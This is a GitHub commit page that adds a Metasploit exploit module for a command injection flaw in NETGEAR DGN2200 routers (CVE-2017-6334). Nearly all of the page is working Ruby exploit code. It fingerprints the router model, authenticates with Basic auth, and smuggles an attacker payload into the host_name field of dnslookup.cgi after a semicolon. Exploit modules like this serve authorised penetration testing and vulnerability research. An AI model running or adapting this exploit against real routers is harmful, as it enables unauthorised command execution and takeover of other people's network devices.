Skip to content

Commit e0a46c2

Browse files
authored
Create netgear_dnslookup_cmd_exec.rb
1 parent cab19dc commit e0a46c2

File tree

1 file changed

+108
-0
lines changed

1 file changed

+108
-0
lines changed
Lines changed: 108 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,108 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'net/http'
8+
require "base64"
9+
10+
class MetasploitModule < Msf::Exploit::Remote
11+
Rank = ExcellentRanking
12+
13+
include Msf::Exploit::Remote::HttpClient
14+
15+
def initialize(info = {})
16+
super(update_info(info,
17+
'Name' => "Netgear DGN2200 dnslookup.cgi Command Injection",
18+
'Description' => %q{
19+
This module exploits a command injection vulnerablity in NETGEAR
20+
DGN2200v1/v2/v3/v4 routers by sending a specially crafted post request
21+
with valid login details.
22+
},
23+
'License' => MSF_LICENSE,
24+
'Platform' => 'unix',
25+
'Author' => [
26+
'thecarterb', # Metasploit Module
27+
'SivertPL' # Vuln discovery
28+
],
29+
'DefaultTarget' => 0,
30+
'Privileged' => true,
31+
'Arch' => [ARCH_CMD],
32+
'Targets' => [
33+
[ 'NETGEAR DDGN2200 Router', { } ]
34+
],
35+
'References' =>
36+
[
37+
[ 'EDB', '41459'],
38+
[ 'CVE', '2017-6334']
39+
],
40+
'DisclosureDate' => 'Feb 25 2017',
41+
))
42+
43+
register_options(
44+
[
45+
Opt::RPORT(80),
46+
OptString.new('USERNAME', [true, 'Username to authenticate with', '']),
47+
OptString.new('PASSWORD', [true, 'Password to authenticate with', ''])
48+
], self.class)
49+
50+
register_advanced_options(
51+
[
52+
OptString.new('HOSTNAME', [true, '"Hostname" to look up (doesn\'t really do anything important)', 'www.google.com'])
53+
], self.class)
54+
end
55+
56+
# Requests the login page which tells us the hardware version
57+
def check
58+
res = send_request_cgi({'uri'=>'/'})
59+
if res.nil?
60+
fail_with(Failure::Unreachable, 'Connection timed out.')
61+
end
62+
# Checks for the `WWW-Authenticate` header in the response
63+
if res.headers["WWW-Authenticate"]
64+
data = res.to_s
65+
marker_one = "Basic realm=\"NETGEAR "
66+
marker_two = "\""
67+
model = data[/#{marker_one}(.*?)#{marker_two}/m, 1]
68+
vprint_status("Router is a NETGEAR router (#{model})")
69+
if model == 'DGN2200v1' || model == 'DGN2200v2' || model == 'DGN2200v3' || model == 'DGN2200v4'
70+
print_good("Router may be vulnerable (NETGEAR #{model})")
71+
return CheckCode::Detected
72+
else
73+
return CheckCode::Safe
74+
end
75+
else
76+
print_error('Router is not a NETGEAR router')
77+
return CheckCode::Safe
78+
end
79+
end
80+
81+
def exploit
82+
check
83+
84+
# Convert datastores
85+
user = datastore['USERNAME']
86+
pass = datastore['PASSWORD']
87+
hostname = datastore['HOSTNAME']
88+
89+
vprint_status("Using encoder: #{payload.encoder} ")
90+
print_status('Sending payload...')
91+
92+
vprint_status("Attempting to authenticate with: #{user}:#{pass} (b64 encoded for auth)")
93+
94+
creds_combined = Base64.strict_encode64("#{user}:#{pass}")
95+
vprint_status("Encoded authentication: #{creds_combined}")
96+
97+
res = send_request_cgi({
98+
'uri' => '/dnslookup.cgi',
99+
'headers' => {
100+
'Authorization' => "Basic #{creds_combined}"
101+
},
102+
'vars_post' => {
103+
'lookup' => 'Lookup',
104+
'host_name' => hostname + '; ' + payload.encoded
105+
}})
106+
107+
end
108+
end

0 commit comments

Comments
 (0)